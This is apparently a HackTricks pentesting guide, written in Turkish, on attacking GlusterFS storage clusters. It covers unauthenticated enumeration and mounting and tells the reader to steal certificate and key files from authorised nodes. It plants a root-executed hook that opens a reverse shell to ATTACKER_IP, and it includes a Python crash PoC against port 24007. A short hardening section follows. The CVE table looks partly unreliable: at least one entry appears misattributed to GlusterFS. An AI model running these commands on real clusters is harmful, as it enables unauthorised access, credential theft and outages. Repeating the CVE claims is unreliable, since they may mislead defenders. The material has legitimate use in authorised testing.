# 24007-24008-24009-49152 - Pentesting GlusterFS {{#include ../banners/hacktricks-training.md}} ## Temel Bilgiler **GlusterFS**, birden fazla sunucudan depolamayı tek bir **birleşik ad alanı** içinde birleştiren bir **dağıtık dosya sistemi**dir. Yönetim daemon'u (`glusterd`) varsayılan olarak **24007/TCP** üzerinde dinler ve **49152/TCP**'de başlayan veri düzlemi tuğlalarına talimat verir (her tuğla için bir port, artan şekilde). 9.x sürümlerinden önce **24008–24009/TCP** tuğla taşımak için kullanılıyordu, bu nedenle eski kümelerde bu portlarla karşılaşmaya devam edeceksiniz. ``` PORT STATE SERVICE VERSION 24007/tcp open glusterd GlusterFS (RPC) 49152/tcp open gluster-brick SSL (TLS optional) ``` > İpucu: 24007, depolama yalnızca düğümleri herhangi bir hacim **yayınlamadığında** bile RPC çağrılarına yanıt verir; bu nedenle hizmet, büyük altyapılar içinde güvenilir bir pivot hedefidir. ## Sayım Saldırı kutunuzda istemci yardımcı programlarını kurun: ```bash sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu ``` 1. **Eşler keşfi ve sağlık** ```bash # List peers (works without authentication in default setups) gluster --remote-host 10.10.11.131 peer status ``` 2. **Hacim keşfi** ```bash # Retrieve the list of all volumes and their configuration gluster --remote-host 10.10.11.131 volume info all ``` 3. **Yetkisiz olarak bağlama** ```bash sudo mount -t glusterfs 10.10.11.131:/ /mnt/gluster ``` Eğer montaj başarısız olursa, istemci tarafında `/var/log/glusterfs/-.log` dosyasını kontrol edin. Yaygın sorunlar şunlardır: * TLS zorlaması (`option transport.socket.ssl on`) * Adres tabanlı erişim kontrolü (`option auth.allow `) ### Sertifika sorun giderme Herhangi bir yetkili istemci düğümünden aşağıdaki dosyaları çalın ve bunları `/etc/ssl/` (veya hata günlüğünde gösterilen dizin) içine yerleştirin: ``` /etc/ssl/glusterfs.pem /etc/ssl/glusterfs.key /etc/ssl/glusterfs.ca ``` --- ## Bilinen Güvenlik Açıkları (2022-2025) | CVE | Etkilenen sürümler | Etki | Notlar | |-----|-------------------|--------|-------| | **CVE-2022-48340** | 10.0–10.4, 11.0 | Ağ üzerinden erişilebilen `dht_setxattr_mds_cbk` içinde kullanımdan sonra serbest bırakma | Uzaktan **DoS** ve muhtemel RCE. 10.4.1 / 11.1'de düzeltildi. | | **CVE-2023-26253** | < 11.0 | FUSE bildirim işleyicisinde sınır dışı okuma | Özel FS işlemleri aracılığıyla uzaktan çökme; kamuya açık PoC mevcut. | | **CVE-2023-3775** | < 10.5 / 11.1 | `gluster_shared_storage` bağlanırken yanlış izin doğrulaması | Herhangi bir kimlik doğrulaması yapılmamış istemcinin yönetici hacmini bağlamasına izin verir – aşağıda açıklanan **priv-esc** ile sonuçlanır. | > Her zaman `gluster --version` **her düğümde** kontrol edin; kısmi güncellemelerden sonra heterojen kümeler yaygındır. ### `gluster_shared_storage`'ı Sömürmek (Yetki Yükseltme) Son sürümlerde bile birçok yönetici özel `gluster_shared_storage` hacmini dünya genelinde okunabilir bırakıyor çünkü bu, coğrafi çoğaltmayı basitleştiriyor. Hacim, her düğümde **root** ile çalışan cronjob şablonlarını içerir. ```bash # 1. Mount admin volume anonymously mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss # 2. Drop malicious script that gets synchronised cluster-wide cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh #!/bin/bash nc -e /bin/bash ATTACKER_IP 4444 & EOF chmod +x /tmp/gss/hooks/1/start/post/test.sh # 3. Wait until glusterd distributes the hook and executes it as root ``` Eğer `hooks/1/` mevcut değilse, `/ss_bricks/` için arama yapın – tam yol ana sürüme göre değişiklik gösterebilir. ### Hizmet Reddi PoC (CVE-2023-26253) ```python #!/usr/bin/env python3 # Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007 import socket, xdrlib, struct p = xdrlib.Packer(); p.pack_uint(0xdeadbeef) with socket.create_connection(("10.10.11.131",24007)) as s: s.send(struct.pack("!L", len(p.get_buffer())|0x80000000)) s.send(p.get_buffer()) ``` `glusterfsd` < 11.0 sürümünde script çalıştırmak çökmesine neden olur. --- ## Güçlendirme & Tespit * **Güncelleme** – mevcut LTS 11.1'dir (Temmuz 2025). Yukarıdaki tüm CVE'ler düzeltilmiştir. * Her brick için **TLS**'yi etkinleştirin: ```bash gluster volume set transport.socket.ssl on gluster volume set transport.socket.ssl-cert /etc/ssl/glusterfs.pem ``` * CIDR listeleri ile istemcileri kısıtlayın: ```bash gluster volume set auth.allow 10.0.0.0/24 ``` * Yönetim portu 24007'yi yalnızca **özel VLAN** üzerinde veya SSH tünelleri aracılığıyla açığa çıkarın. * Logları izleyin: `tail -f /var/log/glusterfs/glusterd.log` ve **audit-log** özelliğini yapılandırın (`volume set features.audit-log on`). --- ## Referanslar * [GlusterFS güvenlik duyuruları](https://docs.gluster.org/en/latest/release-notes/#security) * [CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash](https://github.com/tinynetwork/gluster-notify-crash) {{#include ../banners/hacktricks-training.md}}